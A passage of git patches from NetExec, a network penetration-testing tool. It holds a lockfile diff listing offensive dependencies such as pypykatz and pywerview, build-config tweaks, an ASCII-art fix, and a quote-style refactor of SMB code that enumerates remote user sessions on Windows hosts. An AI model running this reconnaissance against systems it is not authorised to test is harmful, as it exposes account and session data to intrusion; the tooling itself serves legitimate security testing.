"2.12.1" description = "Python style guide checker" optional = false python-versions = ">=3.8" +groups = ["dev"] files = [ {file = "pycodestyle-2.12.1-py2.py3-none-any.whl", hash = "sha256:46f0fb92069a7c28ab7bb558f05bfc0110dac69a0cd23c61ea0040283a9d78b3"}, {file = "pycodestyle-2.12.1.tar.gz", hash = "sha256:6838eae08bbce4f6accd5d5572075c63626a15ee3e6f842df996bf62f6d73521"}, @@ -1708,6 +1777,7 @@ version = "2.22" description = "C parser in Python" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, @@ -1719,6 +1789,7 @@ version = "3.21.0" description = "Cryptographic library for Python" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +groups = ["main"] files = [ {file = "pycryptodome-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dad9bf36eda068e89059d1f07408e397856be9511d7113ea4b586642a429a4fd"}, {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a1752eca64c60852f38bb29e2c86fca30d7672c024128ef5d70cc15868fa10f4"}, @@ -1760,6 +1831,7 @@ version = "3.21.0" description = "Cryptographic library for Python" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +groups = ["main"] files = [ {file = "pycryptodomex-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dbeb84a399373df84a69e0919c1d733b89e049752426041deeb30d68e9867822"}, {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a192fb46c95489beba9c3f002ed7d93979423d1b2a53eab8771dbb1339eb3ddd"}, @@ -1801,6 +1873,7 @@ version = "3.2.0" description = "passive checker of Python programs" optional = false python-versions = ">=3.8" +groups = ["dev"] files = [ {file = "pyflakes-3.2.0-py2.py3-none-any.whl", hash = "sha256:84b5be138a2dfbb40689ca07e2152deb896a65c3a3e24c251c5c62489568074a"}, {file = "pyflakes-3.2.0.tar.gz", hash = "sha256:1c61603ff154621fb2a9172037d84dca3500def8c8b630657d1701f026f8af3f"}, @@ -1812,6 +1885,7 @@ version = "2.18.0" description = "Pygments is a syntax highlighting package written in Python." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "pygments-2.18.0-py3-none-any.whl", hash = "sha256:b8e6aca0523f3ab76fee51799c488e38782ac06eafcf95e7ba832985c8e7b13a"}, {file = "pygments-2.18.0.tar.gz", hash = "sha256:786ff802f32e91311bff3889f6e9a86e81505fe99f2735bb6d60ae0c5004f199"}, @@ -1826,6 +1900,7 @@ version = "0.4.2" description = "Windows LNK File Parser and Creator" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "pylnk3-0.4.2-py3-none-any.whl", hash = "sha256:f75c80d85b2063f3549bfc4a00228474b90fa590de9f414f8df075b746b1b427"}, {file = "pylnk3-0.4.2.tar.gz", hash = "sha256:caee0136f61a8b788154dc8e7c03ac2dde57adc170f1c4786ab4721491ca6e99"}, @@ -1837,6 +1912,7 @@ version = "1.5.0" description = "Python binding to the Networking and Cryptography (NaCl) library" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1"}, {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92"}, @@ -1863,6 +1939,7 @@ version = "0.1.5" description = "Pure python NFS client" optional = false python-versions = ">=2.7" +groups = ["main"] files = [] develop = false @@ -1878,6 +1955,7 @@ version = "24.0.0" description = "Python wrapper module around the OpenSSL library" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "pyOpenSSL-24.0.0-py3-none-any.whl", hash = "sha256:ba07553fb6fd6a7a2259adb9b84e12302a9a8a75c44046e8bb5d3e5ee887e3c3"}, {file = "pyOpenSSL-24.0.0.tar.gz", hash = "sha256:6aa33039a93fffa4563e655b61d11364d01264be8ccb49906101e02a334530bf"}, @@ -1896,6 +1974,7 @@ version = "3.2.0" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false python-versions = ">=3.9" +groups = ["main"] files = [ {file = "pyparsing-3.2.0-py3-none-any.whl", hash = "sha256:93d9577b88da0bbea8cc8334ee8b918ed014968fd2ec383e868fb8afb1ccef84"}, {file = "pyparsing-3.2.0.tar.gz", hash = "sha256:cbf74e27246d595d9a74b186b810f6fbb86726dbf3b9532efb343f6d7294fe9c"}, @@ -1910,6 +1989,7 @@ version = "1.9.0" description = "A cross-platform clipboard module for Python. (Only handles plain text for now.)" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "pyperclip-1.9.0.tar.gz", hash = "sha256:b7de0142ddc81bfc5c7507eea19da920b92252b548b96186caf94a5e2527d310"}, ] @@ -1920,6 +2000,7 @@ version = "0.8.1" description = "PowerShell Remoting Protocol and WinRM for Python" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "pypsrp-0.8.1-py3-none-any.whl", hash = "sha256:0101345ceb415896fed9b056e7b77d65312089ddc73c4286247ccf1859d4bc4d"}, {file = "pypsrp-0.8.1.tar.gz", hash = "sha256:f5500acd11dfe742d51b7fbb61321ba721038a300d67763dc52babe709db65e7"}, @@ -1940,6 +2021,7 @@ version = "0.6.10" description = "Python implementation of Mimikatz" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "pypykatz-0.6.10-py3-none-any.whl", hash = "sha256:b997d8ce7c012593ee7aabbaff86dac33a782c2edebd3adeec1809c7c400cd0f"}, {file = "pypykatz-0.6.10.tar.gz", hash = "sha256:3342e36086bc95ea0cb3f84358cda72ea1fc474d1900beae382c971c0ff40096"}, @@ -1962,6 +2044,8 @@ version = "3.5.4" description = "A python implementation of GNU readline." optional = false python-versions = ">=3.8" +groups = ["main"] +markers = "sys_platform == \"win32\"" files = [ {file = "pyreadline3-3.5.4-py3-none-any.whl", hash = "sha256:eaf8e6cc3c49bcccf145fc6067ba8643d1df34d604a1ec0eccbf7a18e6d3fae6"}, {file = "pyreadline3-3.5.4.tar.gz", hash = "sha256:8d57d53039a1c75adba8e50dd3d992b28143480816187ea5efbd5c78e6c885b7"}, @@ -1976,6 +2060,7 @@ version = "0.11.1" description = "Windows Negotiate Authentication Client and Server" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "pyspnego-0.11.1-py3-none-any.whl", hash = "sha256:129a4294f2c4d681d5875240ef87accc6f1d921e8983737fb0b59642b397951e"}, {file = "pyspnego-0.11.1.tar.gz", hash = "sha256:e92ed8b0a62765b9d6abbb86a48cf871228ddb97678598dc01c9c39a626823f6"}, @@ -1986,7 +2071,7 @@ cryptography = "*" sspilib = {version = ">=0.1.0", markers = "sys_platform == \"win32\""} [package.extras] -kerberos = ["gssapi (>=1.6.0)", "krb5 (>=0.3.0)"] +kerberos = ["gssapi (>=1.6.0) ; sys_platform != \"win32\"", "krb5 (>=0.3.0) ; sys_platform != \"win32\""] yaml = ["ruamel.yaml"] [[package]] @@ -1995,6 +2080,7 @@ version = "7.4.4" description = "pytest: simple powerful testing with Python" optional = false python-versions = ">=3.7" +groups = ["dev"] files = [ {file = "pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8"}, {file = "pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280"}, @@ -2017,6 +2103,7 @@ version = "2.9.0.post0" description = "Extensions to the standard Python datetime module" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["main"] files = [ {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, @@ -2031,6 +2118,7 @@ version = "0.7.3" description = "Python NMAP library enabling you to start async nmap tasks, parse and compare/diff scan results" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "python-libnmap-0.7.3.tar.gz", hash = "sha256:d03629256c2ee9ab37390c28d4c4c2ae9637cd0861dd8ab9e0f32779545936c0"}, ] @@ -2044,6 +2132,7 @@ version = "2024.2" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "pytz-2024.2-py2.py3-none-any.whl", hash = "sha256:31c7c1817eb7fae7ca4b8c7ee50c72f93aa2dd863de768e1ef4245d426aa0725"}, {file = "pytz-2024.2.tar.gz", hash = "sha256:2aa355083c50a0f93fa581709deac0c9ad65cca8a9e9beac660adcbd493c798a"}, @@ -2055,6 +2144,7 @@ version = "0.3.3" description = "A Python port of PowerSploit's PowerView" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "pywerview-0.3.3-py3-none-any.whl", hash = "sha256:66e8135456bb47c88a00a00caf8f4a19b63f9e7bbb00774e99720f3b21b50f63"}, {file = "pywerview-0.3.3.tar.gz", hash = "sha256:adc8797976659efeadf3e2fd583430b80c28ed76e0ca54ecb8dc95b6030c6d5c"}, @@ -2071,6 +2161,7 @@ version = "2.32.3" description = "Python HTTP for Humans." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6"}, {file = "requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760"}, @@ -2092,6 +2183,7 @@ version = "13.9.2" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" optional = false python-versions = ">=3.8.0" +groups = ["main"] files = [ {file = "rich-13.9.2-py3-none-any.whl", hash = "sha256:8c82a3d3f8dcfe9e734771313e606b39d8247bb6b826e196f4914b333b743cf1"}, {file = "rich-13.9.2.tar.gz", hash = "sha256:51a2c62057461aaf7152b4d611168f93a9fc73068f8ded2790f29fe2b5366d0c"}, @@ -2111,6 +2203,7 @@ version = "0.0.292" description = "An extremely fast Python linter, written in Rust." optional = false python-versions = ">=3.7" +groups = ["dev"] files = [ {file = "ruff-0.0.292-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:02f29db018c9d474270c704e6c6b13b18ed0ecac82761e4fcf0faa3728430c96"}, {file = "ruff-0.0.292-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:69654e564342f507edfa09ee6897883ca76e331d4bbc3676d8a8403838e9fade"}, @@ -2137,19 +2230,20 @@ version = "75.2.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.8" +groups = ["main", "dev"] files = [ {file = "setuptools-75.2.0-py3-none-any.whl", hash = "sha256:a7fcb66f68b4d9e8e66b42f9876150a3371558f98fa32222ffaa5bced76406f8"}, {file = "setuptools-75.2.0.tar.gz", hash = "sha256:753bb6ebf1f465a1912e19ed1d41f403a79173a9acf66a42e7e6aec45c3c16ec"}, ] [package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)", "ruff (>=0.5.2)"] -core = ["importlib-metadata (>=6)", "importlib-resources (>=5.10.2)", "jaraco.collections", "jaraco.functools", "jaraco.text (>=3.7)", "more-itertools", "more-itertools (>=8.8)", "packaging", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.5.2) ; sys_platform != \"cygwin\""] +core = ["importlib-metadata (>=6) ; python_version < \"3.10\"", "importlib-resources (>=5.10.2) ; python_version < \"3.9\"", "jaraco.collections", "jaraco.functools", "jaraco.text (>=3.7)", "more-itertools", "more-itertools (>=8.8)", "packaging", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] cover = ["pytest-cov"] doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] enabler = ["pytest-enabler (>=2.2)"] -test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] -type = ["importlib-metadata (>=7.0.2)", "jaraco.develop (>=7.21)", "mypy (==1.11.*)", "pytest-mypy"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib-metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.11.*)", "pytest-mypy"] [[package]] name = "shiv" @@ -2157,6 +2251,7 @@ version = "1.0.6" description = "A command line utility for building fully self contained Python zipapps." optional = false python-versions = ">=3.6" +groups = ["dev"] files = [ {file = "shiv-1.0.6-py2.py3-none-any.whl", hash = "sha256:a6ab14ba82729b7e9775e41e3beca02375c888115d0c060fc3bd980b37cb0495"}, {file = "shiv-1.0.6.tar.gz", hash = "sha256:e222768135977bebdfb5c0d1a7dfea29557c566b58d300d5b8c2535ef223d776"}, @@ -2176,6 +2271,7 @@ version = "1.16.0" description = "Python 2 and 3 compatibility utilities" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" +groups = ["main"] files = [ {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, @@ -2187,6 +2283,7 @@ version = "2.6" description = "A modern CSS selector implementation for Beautiful Soup." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "soupsieve-2.6-py3-none-any.whl", hash = "sha256:e72c4ff06e4fb6e4b5a9f0f55fe6e81514581fca1515028625d0f299c602ccc9"}, {file = "soupsieve-2.6.tar.gz", hash = "sha256:e2e68417777af359ec65daac1057404a3c8a5455bb8abc36f1a9866ab1a51abb"}, @@ -2198,6 +2295,7 @@ version = "2.0.36" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "SQLAlchemy-2.0.36-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:59b8f3adb3971929a3e660337f5dacc5942c2cdb760afcabb2614ffbda9f9f72"}, {file = "SQLAlchemy-2.0.36-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:37350015056a553e442ff672c2d20e6f4b6d0b2495691fa239d8aa18bb3bc908"}, @@ -2293,6 +2391,8 @@ version = "0.2.0" description = "SSPI API bindings for Python" optional = false python-versions = ">=3.8" +groups = ["main"] +markers = "sys_platform == \"win32\"" files = [ {file = "sspilib-0.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:34f566ba8b332c91594e21a71200de2d4ce55ca5a205541d4128ed23e3c98777"}, {file = "sspilib-0.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5b11e4f030de5c5de0f29bcf41a6e87c9fd90cb3b0f64e446a6e1d1aef4d08f5"}, @@ -2338,6 +2438,7 @@ version = "0.9.0" description = "Pretty-print tabular data" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"}, {file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"}, @@ -2352,6 +2453,7 @@ version = "2.5.0" description = "ANSI color formatting for output in terminal" optional = false python-versions = ">=3.9" +groups = ["main"] files = [ {file = "termcolor-2.5.0-py3-none-any.whl", hash = "sha256:37b17b5fc1e604945c2642c872a3764b5d547a48009871aea3edd3afa180afb8"}, {file = "termcolor-2.5.0.tar.gz", hash = "sha256:998d8d27da6d48442e8e1f016119076b690d962507531df4890fcd2db2ef8a6f"}, @@ -2366,6 +2468,7 @@ version = "3.1.10" description = "Generate simple tables in terminals from a nested list of strings." optional = false python-versions = ">=2.6" +groups = ["main"] files = [ {file = "terminaltables-3.1.10-py2.py3-none-any.whl", hash = "sha256:e4fdc4179c9e4aab5f674d80f09d76fa436b96fdc698a8505e0a36bf0804a874"}, {file = "terminaltables-3.1.10.tar.gz", hash = "sha256:ba6eca5cb5ba02bba4c9f4f985af80c54ec3dccf94cfcd190154386255e47543"}, @@ -2377,6 +2480,8 @@ version = "2.0.2" description = "A lil' TOML parser" optional = false python-versions = ">=3.8" +groups = ["dev"] +markers = "python_version < \"3.11\"" files = [ {file = "tomli-2.0.2-py3-none-any.whl", hash = "sha256:2ebe24485c53d303f690b0ec092806a085f07af5a5aa1464f3931eec36caaa38"}, {file = "tomli-2.0.2.tar.gz", hash = "sha256:d46d457a85337051c36524bc5349dd91b1877838e2979ac5ced3e710ed8a60ed"}, @@ -2388,6 +2493,7 @@ version = "0.13.2" description = "Style preserving TOML library" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "tomlkit-0.13.2-py3-none-any.whl", hash = "sha256:7a974427f6e119197f670fbbbeae7bef749a6c14e793db934baefc1b5f03efde"}, {file = "tomlkit-0.13.2.tar.gz", hash = "sha256:fff5fe59a87295b278abd31bec92c15d9bc4a06885ab12bcea52c71119392e79"}, @@ -2399,6 +2505,7 @@ version = "4.66.5" description = "Fast, Extensible Progress Meter" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "tqdm-4.66.5-py3-none-any.whl", hash = "sha256:90279a3770753eafc9194a0364852159802111925aa30eb3f9d85b0e805ac7cd"}, {file = "tqdm-4.66.5.tar.gz", hash = "sha256:e1020aef2e5096702d8a025ac7d16b1577279c9d63f8375b63083e9a5f0fcbad"}, @@ -2419,6 +2526,7 @@ version = "4.12.2" description = "Backported and Experimental Type Hints for Python 3.8+" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, {file = "typing_extensions-4.12.2.tar.gz", hash = "sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, @@ -2430,6 +2538,7 @@ version = "0.0.10" description = "Unified interface for cryptographic libraries" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "unicrypto-0.0.10-py3-none-any.whl", hash = "sha256:77322c68cb6a7ef8ee762dcb0a824a491429f8939793e8a9d64f615baaf595b9"}, ] @@ -2443,13 +2552,14 @@ version = "2.2.3" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "urllib3-2.2.3-py3-none-any.whl", hash = "sha256:ca899ca043dcb1bafa3e262d73aa25c465bfb49e0bd9dd5d59f1d0acba2f8fac"}, {file = "urllib3-2.2.3.tar.gz", hash = "sha256:e7d814a81dad81e6caf2ec9fdedb284ecc9c73076b62654547cc64ccdcae26e9"}, ] [package.extras] -brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] +brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""] h2 = ["h2 (>=4,<5)"] socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] zstd = ["zstandard (>=0.18.0)"] @@ -2460,6 +2570,7 @@ version = "0.2.13" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859"}, {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, @@ -2471,6 +2582,7 @@ version = "3.0.4" description = "The comprehensive WSGI web application library." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "werkzeug-3.0.4-py3-none-any.whl", hash = "sha256:02c9eb92b7d6c06f31a782811505d2157837cea66aaede3e217c7c27c039476c"}, {file = "werkzeug-3.0.4.tar.gz", hash = "sha256:34f2371506b250df4d4f84bfe7b0921e4762525762bbd936614909fe25cd7306"}, @@ -2488,6 +2600,7 @@ version = "0.1.9" description = "ACL/ACE/Security Descriptor manipulation library in pure Python" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099"}, {file = "winacl-0.1.9.tar.gz", hash = "sha256:af70c2ec30178bf9e3c8a1c48c25e8781235fe2c1b321adb46e2f2ae1f8d4aab"}, @@ -2502,12 +2615,13 @@ version = "0.13.0" description = "Makes working with XML feel like you are working with JSON" optional = false python-versions = ">=3.4" +groups = ["main"] files = [ {file = "xmltodict-0.13.0-py2.py3-none-any.whl", hash = "sha256:aa89e8fd76320154a40d19a0df04a4695fb9dc5ba977cbb68ab3e4eb225e7852"}, {file = "xmltodict-0.13.0.tar.gz", hash = "sha256:341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56"}, ] [metadata] -lock-version = "2.0" -python-versions = "^3.10.0" -content-hash = "6a4e460ce87103f0a4f9eeddbf78d48cd9e8dc6092457187f2deef26b0ccdfc4" +lock-version = "2.1" +python-versions = ">=3.10,<4.0" +content-hash = "4d45c90ee63355fd5521071d0fbb60e11e36934640e46547f2cd788d8a09fbb6" diff --git a/poetry.toml b/poetry.toml new file mode 100644 index 00000000..d27d6593 --- /dev/null +++ b/poetry.toml @@ -0,0 +1,5 @@ +[virtualenvs] +create = true +in-project = true +always-copy = false +system-site-packages = true \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml index 7526271c..16a02490 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -3,7 +3,7 @@ name = "netexec" version = "1.3.0" description = "The Network Execution tool" readme = "README.md" -requires-python = ">=3.10" +requires-python = ">=3.10,<4.0" license = { text = "BSD-2-Clause" } authors = [ { name = "Marshall Hallenbeck", email = "marshall.hallenbeck@gmail.com" }, From cb76ad8ded6c0d6bdacc65c9dd9eff59ab70f3ec Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 09:32:03 -0500 Subject: [PATCH 273/376] Fix ASCII Art --- nxc/cli.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/cli.py b/nxc/cli.py index 582dc453..6fdfa007 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -53,9 +53,9 @@ def gen_cli_args(): || || | \ | | ___ | |_ | ____| __ __ ___ ___ \\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __| .=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__ - / /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| - ॱ \ / ॱ - ॱ ॱ + / /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| + ˙ \ / ˙ + ˙ ˙ The network execution tool Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx From 98c92077cc55557765152154b25e75d06f7f6f27 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 11:14:40 -0500 Subject: [PATCH 274/376] Replace single quote with double quote --- nxc/protocols/smb.py | 167 +++++++++++++++++++++---------------------- 1 file changed, 83 insertions(+), 84 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b5bdcfce..2717eddf 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -839,116 +839,115 @@ class smb(connection): def get_session_list(self): with TSTS.TermSrvEnumeration(self.conn, self.host) as lsm: handle = lsm.hRpcOpenEnum() - rsessions = lsm.hRpcGetEnumResult(handle, Level=1)['ppSessionEnumResult'] + rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] lsm.hRpcCloseEnum(handle) self.sessions = {} for i in rsessions: - sess = i['SessionInfo']['SessionEnum_Level1'] - state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess['State']).split('_')[-1] - self.sessions[sess['SessionId']] = { 'state' :state, - 'SessionName' :sess['Name'], - 'RemoteIp' :'', - 'ClientName' :'', - 'Username' :'', - 'Domain' :'', - 'Resolution' :'', - 'ClientTimeZone':'' + sess = i["SessionInfo"]["SessionEnum_Level1"] + state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] + self.sessions[sess["SessionId"]] = {"state": state, + "SessionName": sess["Name"], + "RemoteIp": "", + "ClientName": "", + "Username": "", + "Domain": "", + "Resolution": "", + "ClientTimeZone": "" } def enumerate_sessions_info(self): if len(self.sessions): with TSTS.TermSrvSession(self.conn, self.host) as TermSrvSession: - for SessionId in self.sessions.keys(): + for SessionId in self.sessions: sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) - sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['SessionFlags']) - self.sessions[SessionId]['flags'] = sessflags - domain = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DomainName'] - if not len(self.sessions[SessionId]['Domain']) and len(domain): - self.sessions[SessionId]['Domain'] = domain - username = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['UserName'] - if not len(self.sessions[SessionId]['Username']) and len(username): - self.sessions[SessionId]['Username'] = username - self.sessions[SessionId]['ConnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['ConnectTime'] - self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime'] - self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime'] - self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime'] + sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) + self.sessions[SessionId]["flags"] = sessflags + domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] + if not len(self.sessions[SessionId]["Domain"]) and len(domain): + self.sessions[SessionId]["Domain"] = domain + username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"] + if not len(self.sessions[SessionId]["Username"]) and len(username): + self.sessions[SessionId]["Username"] = username + self.sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] + self.sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] + self.sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] + self.sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] @requires_admin def qwinsta(self): desktop_states = { - 'WTS_SESSIONSTATE_UNKNOWN': '', - 'WTS_SESSIONSTATE_LOCK' : 'Locked', - 'WTS_SESSIONSTATE_UNLOCK' : 'Unlocked', + "WTS_SESSIONSTATE_UNKNOWN": "", + "WTS_SESSIONSTATE_LOCK": "Locked", + "WTS_SESSIONSTATE_UNLOCK": "Unlocked", } self.get_session_list() if not len(self.sessions): return self.enumerate_sessions_info() - maxSessionNameLen = max([len(self.sessions[i]['SessionName'])+1 for i 